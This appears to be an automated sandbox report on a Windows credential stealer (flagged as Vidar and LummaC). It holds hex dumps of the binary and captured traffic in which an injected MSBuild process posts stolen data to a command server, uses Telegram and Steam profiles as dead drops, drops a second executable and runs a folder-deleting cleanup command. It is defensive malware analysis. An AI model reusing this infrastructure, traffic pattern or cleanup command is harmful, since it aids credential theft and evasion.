Oct 8, 2024 02:45:39.520677090 CEST	1236	IN	Data Raw: 01 59 74 0a 6a 14 56 e8 61 58 00 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 e4 f8 83 ec 1c a1 40 d0 42 00 33 c4 89 44 24 18 8b 45 10 56 8b f1 8d 4c 24 04 50 e8 28 14 00 00 8d 44 24 04 8b ce 50 ff 75 0c ff 75 08 e8 3a ff ff ff 8d 4c 24 04 e8 d2 1c 00 Data Ascii: YtjVaXYY^U@B3D$EVL$P(D$Puu:L$L$\2B^3W]Vt$\2B^Vt$WVP2BFVGW_^BU}uMjhBuRYMPE]D$VtjV
Oct 8, 2024 02:45:39.520711899 CEST	1236	IN	Data Raw: 00 83 c4 10 c2 0c 00 56 8b 74 24 0c 57 8b f9 eb 16 0f b7 06 8b cf 8b 17 50 ff 74 24 10 ff 52 10 84 c0 75 09 83 c6 02 3b 74 24 14 75 e4 5f 8b c6 5e c2 0c 00 56 8b 74 24 0c 57 8b f9 eb 16 0f b7 06 8b cf 8b 17 50 ff 74 24 10 ff 52 10 84 c0 74 09 83 Data Ascii: Vt$WPt$Ru;t$u_^Vt$WPt$Rt;t$u_^APt$NYYVt$;t$tWyWPfNfYY;t$u_^APt$OYYVt$;t$tWyWPOfYY;t$u_^UAWPEf
Oct 8, 2024 02:45:39.520762920 CEST	896	IN	Data Raw: e0 03 25 e8 00 00 00 66 42 66 bb e3 03 66 35 c0 02 66 81 e9 c8 03 81 c3 fb 02 00 00 66 f7 e2 66 81 f3 24 02 66 f7 ea 66 33 c7 c1 c1 f4 72 0c 42 66 2b f1 66 f7 e8 c1 eb aa eb 14 0f b6 f6 66 f7 e0 f7 e6 49 66 c1 cb 25 23 cb 4e 40 66 f7 e3 f7 e0 66 Data Ascii: %fBff5fff$ff3rBf+ffIf%#N@ffueofff"fff#f+#BP[uEYjVP]iM[i][u3i[3Em]MUE3tt
Oct 8, 2024 02:45:39.520812988 CEST	1236	IN	Data Raw: c6 8b 01 00 00 66 40 66 25 b9 02 66 49 f7 ef 66 81 ef e5 02 8b d8 66 03 c2 66 c1 da 80 c1 e2 e0 f7 ee 66 c1 da 39 72 0f 83 f8 06 77 36 c1 e7 aa 48 66 f7 ef 4a eb 1e 8b c3 c1 e9 2d 03 ca 66 33 c2 81 e6 9c 01 00 00 03 d8 66 48 0f be c1 66 c1 eb 55 Data Ascii: f@f%fIffff9rw6HfJ-f3fHfUffsfKfIff\fCfi#fNfHNnf{f-+OffKf9f1f]fus6fFb3fH
Oct 8, 2024 02:45:39.520845890 CEST	1236	IN	Data Raw: 11 66 f7 e7 66 f7 e8 48 66 81 c1 c2 01 c1 c0 8b eb 1c 66 c1 de 94 0f be fb 66 47 66 c1 e8 10 f7 ef c1 d2 48 c1 ee 6a c1 d3 e9 0f b7 f2 4a 66 4a c1 d3 dd c1 ca b4 66 8b f1 f7 ea 66 81 f2 9c 00 66 43 75 0d 81 c6 22 02 00 00 c1 e6 9f 66 47 eb 1d 66 Data Ascii: ffHfffGfHjJfJfffCu"fGffxffsf3ff@.fdffNUHsHFEEE5EE'E5EEPj@uhZHUtDj,h_HBYYBVZH
Oct 8, 2024 02:45:39.520878077 CEST	1236	IN	Data Raw: 00 8b 44 24 38 83 f8 0f 76 36 8b 4c 24 24 40 89 44 24 0c 89 4c 24 10 3d 00 10 00 00 72 19 8d 44 24 0c 50 8d 44 24 14 50 e8 16 e7 ff ff 8b 44 24 14 59 59 8b 4c 24 10 50 51 e8 5f 41 00 00 59 59 8b 4c 24 44 8b c6 5f 5e 5b 33 cc e8 0f 41 00 00 8b e5 Data Ascii: D$8v6L$$@D$L$=rD$PD$PD$YYL$PQ_AYYL$D_^[3A]U<@B3D$8ESVWD$ \|$$3L$ML$q0d$4#D$8D$$;uYAVPS} u\EQQ$"\$D$f/BYYv5
Oct 8, 2024 02:45:39.520910025 CEST	1236	IN	Data Raw: 8b 4c 24 34 39 7b 24 7c 12 7f 05 39 7b 20 76 0b 8b 73 20 3b f1 76 04 2b f1 eb 02 8b f7 8b 43 14 8b 7c 24 18 25 c0 01 00 00 83 f8 40 74 2c 56 ff 74 24 20 8d 44 24 18 ff 75 10 ff 75 0c 50 57 e8 42 02 00 00 8b 4c 24 4c 83 c4 18 33 f6 8b 10 8b 40 04 Data Ascii: L$49{$\|9{ vs ;v+C\|$%@t,Vt$ D$uuPWBL$L3@UEEU\|$8D$D$$GD$$QPt$D$RPW.Vt$8t$@@c c$PQVWME0\|$8vt$8D$(t$(PNL$T_^[3;]V!u
Oct 8, 2024 02:45:39.520944118 CEST	1236	IN	Data Raw: 8d 44 24 24 57 0f 47 44 24 28 50 ff 75 14 8d 44 24 20 ff 75 10 50 ff 75 08 e8 c0 fd ff ff 56 ff 75 1c 8b 08 8b 40 04 50 89 45 14 8d 44 24 38 51 50 ff 75 08 89 4d 10 e8 76 fd ff ff 83 c4 30 33 f6 eb 26 83 7c 24 38 07 8d 44 24 24 57 0f 47 44 24 28 Data Ascii: D$$WGD$(PuD$ uPuVu@PED$8QPuMv03&\|$8D$$WGD$(PuD$ uPux@\|$8L$D$ED$$GD$$+QUx}Pt$D$ RPW:Vut$@@c c$PQVWME0L$<L$$L$T_^[36]D
Oct 8, 2024 02:45:39.525984049 CEST	1236	IN	Data Raw: ff ff ff 74 24 08 8b ce e8 ee 00 00 00 8b c6 5e c2 04 00 56 57 ff 74 24 0c 8b f1 33 c0 ff 74 24 14 8b fe ab ab ab ab 83 66 10 00 83 66 14 00 e8 78 0b 00 00 5f 8b c6 5e c2 08 00 56 57 ff 74 24 0c 8b f1 33 c0 8b fe ab ab ab ab 83 66 10 00 83 66 14 Data Ascii: t$^VWt$3t$ffx_^VWt$3ff[YPt$_^US]WGO+;w,GvV4ESPVG^uESuSf_[]A 8tA08~I BD$ft$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	51297	45.132.206.251	80	7300	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 02:45:51.118571043 CEST	183	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFB Host: cowod.hopto.org Content-Length: 5765 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 02:45:51.118632078 CEST	5765	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 Data Ascii: ------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------DAKEBAKFHCFHIE
Oct 8, 2024 02:45:51.875554085 CEST	188	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 00:45:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Served-By: cowod.hopto.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49742	149.154.167.99	443	7300	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 00:45:17 UTC	89	OUT	GET /maslengdsa HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-10-08 00:45:18 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 08 Oct 2024 00:45:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12408 Connection: close Set-Cookie: stel_ssid=cc17174e5d223cc0f6_7450051965369462211; expires=Wed, 09 Oct 2024 00:45:17 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-10-08 00:45:18 UTC	12408	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6d 61 73 6c 65 6e 67 64 73 61 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @maslengdsa</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.pa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	51295	104.102.49.254	443	7980	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 00:45:50 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-08 00:45:50 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Tue, 08 Oct 2024 00:45:50 GMT Content-Length: 25489 Connection: close Set-Cookie: sessionid=39cb6e9105874f5520345b5c; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-08 00:45:50 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-08 00:45:50 UTC	10975	IN	Data Raw: 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 74 68 61 69 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 68 61 69 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e0 b9 84 e0 b8 97 e0 b8 a2 20 28 54 68 61 69 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 62 75 6c 67 61 72 69 61 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 62 75 6c 67 61 72 69 61 6e 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 Data Ascii: <a class="popup_menu_item tight" href="?l=thai" onclick="ChangeLanguage( 'thai' ); return false;"> (Thai)</a><a class="popup_menu_item tight" href="?l=bulgarian" onclick="ChangeLanguage( 'bulgarian' ); return fa

Target ID:	0
Start time:	20:44:54
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\T2bmenoX1o.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\T2bmenoX1o.exe"
Imagebase:	0xdb0000
File size:	584'704 bytes
MD5 hash:	A72AF6C3293EB3061BBA1E48BA6147DE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:44:55
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xc20000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:44:55
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7284 -s 272
Imagebase:	0x470000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:45:48
Start date:	07/10/2024
Path:	C:\ProgramData\AAFIIJDAAA.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\AAFIIJDAAA.exe"
Imagebase:	0x1b0000
File size:	551'424 bytes
MD5 hash:	3EFC73BB21B794BC0F39690FC48A4853
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:45:48
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x630000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000009.00000002.2216121534.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	20:45:48
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7968 -s 248
Imagebase:	0x470000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:45:51
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\KJKFBAFIDAEB" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:45:51
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	20:45:51
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0xe40000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.1%
Total number of Nodes:	229
Total number of Limit Nodes:	3

Executed Functions

Function 00DB2021 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 631
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00E3DCD8,?,00000040,?), ref: 00DB2738

Strings

S, xrefs: 00DB206A
', xrefs: 00DB2718
a, xrefs: 00DB2296

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: '$S$a
API String ID: 544645111-1060379873
Opcode ID: a72187c804c95ce2b7fab61098337cf7c713da6c7625ee5c42bd790ebdeae21b
Instruction ID: db1aaa5e2879a5be8c92407248df3013e89838eacbd52675e67a1b496b07a951
Opcode Fuzzy Hash: a72187c804c95ce2b7fab61098337cf7c713da6c7625ee5c42bd790ebdeae21b
Instruction Fuzzy Hash: A7F10F27D34E1B86E708603D4C522F6A98AD7AA370FC15337AE63DB3F4E36949419294

Function 00DC8E2E Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 00DC8FDD

Part of subcall function 00DC3A83: HeapAlloc.KERNEL32(00000000,00DCA1AA,?,?,00DCA1AA,00000220,?,?,?), ref: 00DC3AB5

__freea.LIBCMT ref: 00DC8FF2
__freea.LIBCMT ref: 00DC9002

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: fabdaaf5f9db6216116d5110a30f4b4f7f70b244712f4e6b22e5b97f4593b37f
Instruction ID: 4253f4b7c170bfbf2b137a12cc2ca0df79f17b0de172bed5313066f563557742
Opcode Fuzzy Hash: fabdaaf5f9db6216116d5110a30f4b4f7f70b244712f4e6b22e5b97f4593b37f
Instruction Fuzzy Hash: F7517972600217AFEF259FA4CC85FBB7AAAEF44750B19012DFD09D7250EA31CD50A6B0

Function 00DCA3A6 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DC9ED6: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 00DC9F01

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00DCA1ED,?,00000000,?,?,?), ref: 00DCA407
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00DCA1ED,?,00000000,?,?,?), ref: 00DCA449

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 41363b7e184b1b21d4bd164e37deb453f46732ea567f7c4d692b4ee947d70ce3
Instruction ID: 50d355252f7cf69fbfe64a4c850f3519f63720439816501706d0055970c1e2b9
Opcode Fuzzy Hash: 41363b7e184b1b21d4bd164e37deb453f46732ea567f7c4d692b4ee947d70ce3
Instruction Fuzzy Hash: D4512A7090424A8FDB25CF79C444FAABBF5EF41308F18846ED08687251E6749546CB72

Function 00DC6368 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00DC8F1C,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00DC639C
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00DC8F1C,?,?,00000000,?,00000000), ref: 00DC63BA

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: ca282f1452ba846883592fcc11139dac81125bc49eb9b26a8c2e537fbbc34885
Instruction ID: dec96c4135abb7883a1db850a6b4d580d616d7109bebea0aeadd172e84021580
Opcode Fuzzy Hash: ca282f1452ba846883592fcc11139dac81125bc49eb9b26a8c2e537fbbc34885
Instruction Fuzzy Hash: B9F09D3200029ABBCF126F90DC05EDE3F26EF48360F098115FA1866130C736D971EBA1

Function 00DC9FAA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,00DCA1F9,00DCA1ED,00000000), ref: 00DC9FDC

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 3aa49b5475abcd87b4f272f0bb1f819966b2704c79e9d8673a7c03f764c1ce2d
Instruction ID: ca4a591291e102238703f17c712a78197735049bbf88e126bd06664e44a3e5f3
Opcode Fuzzy Hash: 3aa49b5475abcd87b4f272f0bb1f819966b2704c79e9d8673a7c03f764c1ce2d
Instruction Fuzzy Hash: 2751577190425D9EDB218E2CCC84FE67BB8EB45348F2805ADE19AC7186C275AD46EF31

Non-executed Functions

Function 00DCD39B Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00DCD57F

Strings

1#INF, xrefs: 00DCD4D1
1#IND, xrefs: 00DCD4A0
1#SNAN, xrefs: 00DCD4A7
1#QNAN, xrefs: 00DCD4AE

